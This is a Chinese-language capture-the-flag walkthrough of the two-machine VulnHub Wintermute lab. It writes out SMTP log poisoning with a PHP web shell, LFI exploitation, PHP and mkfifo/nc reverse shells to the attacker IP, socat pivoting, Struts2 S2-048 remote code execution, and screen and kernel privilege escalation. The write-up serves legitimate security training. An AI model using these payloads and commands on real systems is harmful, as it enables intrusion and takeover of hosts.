靶机地址:https://www.vulnhub.com/entry/wintermute-1,239/
靶机难度:中级(CTF)
靶机发布日期:2018年7月5日
靶机描述:一个新的OSCP风格实验室,涉及2台易受攻击的机器,以赛博朋克经典Neuromancer为主题-任何网络安全爱好者都必须阅读。该实验室利用了数据透视和后期开发,而我发现其他OSCP预处理实验室似乎缺乏。目标是在两台计算机上都扎根。您只需要默认的Kali Linux。
不会出现缓冲区溢出或漏洞利用的情况-使用小的单词列表就可以完成任何必要的密码破解。
Straylight-模拟带有2个NICS的面向公众的服务器。首先盖上此盖,然后转到最后一台机器。Neuromancer-在具有1个NIC的非公共网络中。你的Kali应该和Straylight在同一个虚拟网络上。
需要VirtualBox。VMware无法正确导入。
目标:得到root权限&找到flag.txt
作者:DRX嗯嗯呐
这次两台靶机,牛不牛,很期待。
开始!!!
VirtualBox环境配置
Kail网卡配置
Straylight靶机网卡配置
Neuromancer靶机网卡配置
测试环境
kail:192.168.56.3
Neuromancer靶机:10.0.2.8
Straylight靶机:192.168.56.8/10.0.2.10
Straylight靶机渗透
信息收集
nmap扫描靶机地址
按照提示,我们先搞Straylight靶机
nmap 端口扫描
25 smtp
80 http
3000 Apache Hadoop
Hadoop是Apache基金会开发的分布式系统基础架构,Hadoop主要被用来解决海量数据的存储和海量数据的分析计算。
25 端口使用smtp-user-enum未扫描出什么有用的账号
访问80端口
过一会出现一个新的js
通过dirb和nikto扫描只发现两个文件目录记录一下
但是都没有获得有用的信息
访问3000端口
靶机使用了ntopng
nikto扫描出一个反射型xss漏洞
但是利用反射xss漏洞无法获得shell只能暂时放着
查看网页源代码,发现flag敏感字眼
获得提示但是无法访问,但是没办法访问
使用admin用户可以登录
登录之后在访问
用strings打开也没有获得什么信息。
之后继续在登陆的界面查找有用信息,发现在FLOWS模块下记录访问目录
访问/turing-bolo/,说是从列表中选择一个人来查看他们的自定义活动日志
选择一个case用户提交
发现了其他三个用户的日志,看一看能不能访问
利用LFI漏洞获得shell
可以访问,直接修改bolo参数后面的值,测试是否存在本地文件包含漏洞
http://192.168.56.4/turing-bolo/bolo.php?bolo=../turing-bolo/molly
看来bolo参数存在LFI漏洞,但是看这个情况是默认补充后缀.log,这样的话只能访问log文件,测试一下
因为靶机存在smtp服务,所以看一下/var/log/mail日志
现在我们可以看到了mail日志了,根据日志我们可以看到日志里包含了发件人和收件人信息。
利用思路如下:我们用smtp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell
HELO ROOT #向服务器标识用户身份
MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人
RCPT TO:ROOT #RCPT TO:收件人
data #开始编辑邮件内容
. #输入点代表编辑结束
成功获得shell
http://192.168.56.8/turing-bolo/bolo.php?bolo=../../../../../../../../../var/log/mail&cmd=ls
下面我们执行一个反弹shell语句,获得交互界面
这里可以使用的方法很多,我用的是PHP的sock函数
php -r '$sock=fsockopen("192.168.56.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
首先将代码进行URL编码
监听4444端口
执行,获得shell
screen4.5.0本地漏洞提权
发现靶机中具备SID权限的文件,发现screen
find / -perm -4000 2>/dev/null
查询发现screen-4.5.0存在漏洞
根据sh文件内容,建立两个c文件
上传到靶机
编译,根据命令执行文件
获得root权限和flag
我们这里拿到了Straylight靶机的权限并找到flag
在note文件获得提示:提供了一个URL:/struts2_2.3.15.1-showcase,但这不适用于本机的IP,服务器是通过tomcat运行WEB的。
Neuromancer靶机渗透
信息收集
开始我们的渗透,查看IP我们发现了Straylight靶机另一个IP,这个IP是和Neuromancer靶机同一网段的,确定了范围,就可以扫描Neuromancer靶机的IP和端口了
因为靶机没有nmap,我们可以通过ping进行扫描Neuromancer靶机的IP
for i in $(seq 1 255); do if ping -c 1 -w 1 10.0.2.$i&>/dev/null; then echo "10.0.2.$i"; fi ; done
只输出可以ping通的IP
Neuromancer靶机IP:10.0.2.8
通过nc扫描靶机存活的端口
nc -v -z -w2 10.0.2.8 1-65535
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。
扫描出三个端口
8080
8009
34483
端口重定向
现在需要kail连接这些端口,需要linux中socat进行重定向
socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。
socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:10.0.2.8:8080 &
TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口
reuseaddr:绑定本地一个端口
fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听
&: 后台执行命令
Straylight靶机开始不存在8080端口,在执行端口重定向,发现端口存在,同时访问192.168.56.8:8080,自动跳转至10.0.2.8:8080。
接下来将另两个端口进行重定向
socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:10.0.2.8:8009 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:10.0.2.8:34483 &
测试可以访问,并发现34483是ssh服务
根据Straylight靶机note.txt提示,访问/struts2_2.3.15.1-showcase目录
struts2 s2-048漏洞利用
根据struts2版本查找查找对用的漏洞,此次struts2漏洞存在
想让Neuromancer靶机反弹shell到kail上,需要在Straylight靶机继续使用socat做端口重定向
首先在kail上启动6666监听端口
在Straylight靶机执行命令
socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.56.3:6666 &
因为需要Neuromancer靶机连接kai,但是靶机和kail直接不通,需要让Neuromancer靶机连接Straylight靶机6666端口,Straylight靶机将流量重定向到192.168.56.3:6666(kail)上
执行poc
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"nc 192.168.56.8 6666"
连接上了,但是靶机不可以使用nc -e ,无法通过nc直接运行程序,我们利用文件管道符-nc反弹shell
rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 6666 >/tmp/f
将shell上传到Neuromancer靶机,因为刚才在Straylight靶机启动6666端口重定向kail的6666端口上,相当于访问Straylight靶机6666端口等于访问kail6666端口。
在kail启动httpserver服务提供下载shell
远程执行命令下载shelll
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"wget http://192.168.56.8:6666/shell.sh-O /tmp/shell1.sh"
这样shell.sh就下载到了Neuromancer靶机上
接下来赋权
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"chmod +x /tmp/shell1.sh"
kail监听6666端口,Neuromancer靶机执行刚刚上传的shell
python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"sh /tmp/shell1.sh"
获得ta用户权限,接下来看看怎么提权吧
Ubuntu 16.04.4 本地提权漏洞
查看操作系统版本
看到可以直接内核漏洞提权(CVE-2017-16995)
应为靶机无法执行cc命令,进行编译exp,需要先将exp编译好,在上传
在Straylight靶机socat443端口用来重定向数据
kail启动443端口提供下载
Neuromancer靶机下载exp
赋权,并执行exp,获得root权限
完成!!!
总结
这次的靶机因为是我用时最长的了,搞了两天,啧啧啧,完成的那一刻感觉神清气爽,通透。
1、通过nmap扫描Straylight靶机端口,在3000端口的web界面存在弱口令,登陆看到了历史访问的web目录。
2、在/turing-bolo/发现一个本地文件包含漏洞,利用系统的smtp服务器,将发件人构造为木马,发送邮件,通过LFI漏洞读取mail日志,将木马包含到php界面执行。成功获得shell。
3、利用一句话木马,执行php反弹shell,获得一个交互界面。在Straylight靶机发现screen服务具备SID权限。
4、利用GNU Screen 4.5.0 root exploit提权,获得Straylight靶机root权限。
5、在Straylight靶机通过ping确定Neuromancer靶机IP,通过nc确定Neuromancer靶机端口,使用socat命令在Straylight靶机启动监听端口,并将对于端口的数据库转发到Neuromancer靶机上,这样kail就可以访问Neuromancer靶机了。
6、根据Straylight靶机root目录下note文件提示,访问/struts2_2.3.15.1-showcase目录,发现Neuromancer靶机使用的是struts2,测试发现存在Apache Struts2 S2-048远程代码执行漏洞。
7、利用漏洞上传一个文件管道符nc反弹shell文件,并执行,获得一个交互式窗口。
8、发现Neuromancer靶机使用的是ubuntu 16.04.4,查询此版本存在内核提权漏洞,利用漏洞,提权成功,获得root权限。